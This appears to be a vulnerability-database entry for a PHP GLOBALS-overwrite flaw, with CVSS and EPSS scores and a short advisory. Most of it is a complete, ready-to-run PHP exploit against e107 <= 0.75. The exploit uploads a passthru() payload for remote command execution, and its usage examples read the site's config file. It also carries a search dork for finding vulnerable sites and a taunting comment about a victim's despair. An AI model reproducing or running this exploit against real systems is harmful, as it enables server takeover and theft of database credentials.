CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
The RFC1867 file upload feature in PHP 4.x up to 4.4.0 and 5.x up to 5.0.5, when register_globals is enabled, allows remote attackers to modify the GLOBALS array and bypass security protections of PHP applications via a multipart/form-data POST request with a "GLOBALS" fileupload field.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
15.27%
–
–
2022-03-13
–
–
15.27%
–
–
2022-04-03
–
–
15.27%
–
–
2023-03-12
–
–
–
96.66%
–
2023-03-26
–
–
–
96.15%
–
2023-05-14
–
–
–
96.37%
–
2023-07-09
–
–
–
96.07%
–
2023-09-24
–
–
–
94.36%
–
2024-02-25
–
–
–
93.75%
–
2024-06-02
–
–
–
93.75%
–
2024-06-02
–
–
–
93.75%
–
2024-10-13
–
–
–
93.27%
–
2024-12-22
–
–
–
86.31%
–
2025-01-19
–
–
–
86.31%
–
2025-03-18
–
–
–
–
75.4%
2025-04-15
–
–
–
–
65.19%
2025-04-15
–
–
–
–
65.19,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/15250/info
PHP is prone to a vulnerability that allows attackers to overwrite the GLOBAL variable via HTTP POST requests.
By exploiting this issue, remote attackers may be able to overwrite the GLOBAL variable. This may allow attackers to further exploit latent vulnerabilities in PHP scripts.
#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
e107 <= 0.75 GLOBALS[] overwrite/Zend_Hash_Del_Key_Or_Index remote commands
execution exploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "This site is powered by e107"|inurl:e107_plugins|e107_handlers|e107_files
--------------------------------------------------------------------------------
');
/*
works with register_globals=On
against PHP < 4.4.1, 5 < PHP < 5.0.6
*/
if ($argc<4) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host: target server (ip/hostname)
path: path to e107
cmd: a shell command
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /e107/ ls -la -P1.1.1.1:80
php '.$argv[0].' localhost /e107/ cat ./../../../../e107_config.php -p81
--------------------------------------------------------------------------------
');
die;
}
/*
software site: http://e107.org/
vulnerable code in class2.php near lines 29-37:
...
// Destroy! (if we need to)
if($register_globals == true){
while (list($global) = each($GLOBALS)) {
if (!preg_match('/^(_POST|_GET|_COOKIE|_SERVER|_FILES|GLOBALS|HTTP.*|_REQUEST|retrieve_prefs|eplug_admin)$/', $global)) {
unset($$global); [**]
}
}
unset($global);
}
...
and in e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php near lines 26-40:
...
require_once("../../../../class2.php");
if (!defined('e107_INIT')) { exit; }
unset($tinyMCE_imglib_include); //[*]
// include image library config settings
include 'config.php';
$request_uri = urldecode(empty($HTTP_POST_VARS['request_uri'])?(empty($HTTP_GET_VARS['request_uri'])?'':$HTTP_GET_VARS['request_uri']):$HTTP_POST_VARS['request_uri']);
// if set include file specified in $tinyMCE_imglib_include
if (!empty($tinyMCE_imglib_include))
{
include $tinyMCE_imglib_include; ///[***]
}
...
you can evade [*] by sending the hash keys of $tinyMCE_imglib_include var and
[**] (this *should* unsets the hash keys...) by sending a multipart/form-data
request with the "GLOBALS" var
here [***] the code will include the temporary file and execute our shellcode
see http://www.hardened-php.net/hphp/zend_hash_del_key_or_index_vulnerability.html
and http://www.hardened-php.net/advisory_202005.79.html
for details about this php vulnerabilities
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$path=$argv[2];
$cmd="";
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$data="-----------------------------7d529a1d23092a\r\n"; #oh, I want to tell you a story, about a Telecom guy *
$data.="Content-Disposition: form-data; name=\"tinyMCE_imglib_include\"; filename=\"suntzu\";\r\n"; #that doesn't know *
$data.="Content-Type: image/jpeg;\r\n\r\n"; #the sovereign art of PHP kung-fu, now is desperate and he's seriously *
$data.="<?php error_reporting(0);set_time_limit(0);echo 'my_delim';passthru('".$cmd."');echo 'my_delim'; die;?>\r\n";# *
$data.="-----------------------------7d529a1d23092a\r\n"; #thinking to kill himself, after he loosed his work *
$data.="Content-Disposition: form-data; name=\"-1203709508\"; filename=\"suntzu\";\r\n";//and his honour and self-respect*
$data.="Content-Type: image/jpeg;\r\n\r\n"; //because of some brave guys that rooted his boxes.*
$data.="1\r\n";# *
$data.="-----------------------------7d529a1d23092a\r\n"; #Now, guy, don't cry anymore, but... do something *
$data.="Content-Disposition: form-data; name=\"225672436\"; filename=\"suntzu\";\r\n"; #useful, please open the PHP *
$data.="Content-Type: image/jpeg;\r\n\r\n"; #manual, like a respectful student. And start to... *
$data.="1\r\n";# *
$data.="-----------------------------7d529a1d23092a\r\n";# *
$data.="Content-Disposition: form-data; name=\"GLOBALS\"; filename=\"suntzu\";\r\n";# *
$data.="Content-Type: image/jpeg;\r\n\r\n";# *
$data.="1\r\n";# *
$data.="-----------------------------7d529a1d23092a--\r\n";# *
$packet ="POST ".$p."e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php HTTP/1.0\r\n";# *
$packet.="Host: ".$host."\r\n";# *
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";# *
$packet.="Content-Length: ".strlen($data)."\r\n";# *
$packet.="Accept: text/plain\r\n";# *
$packet.="Connection: Close\r\n\r\n";# *
$packet.=$data;# *
sendpacketii($packet);# *
if (strstr($html,"my_delim")){# *
echo "exploit succeeded...\n";$temp=explode("my_delim",$html);die($temp[1]); #...pray *
}
echo "exploit failed... register_globals=off here or wrong PHP version\n";
?>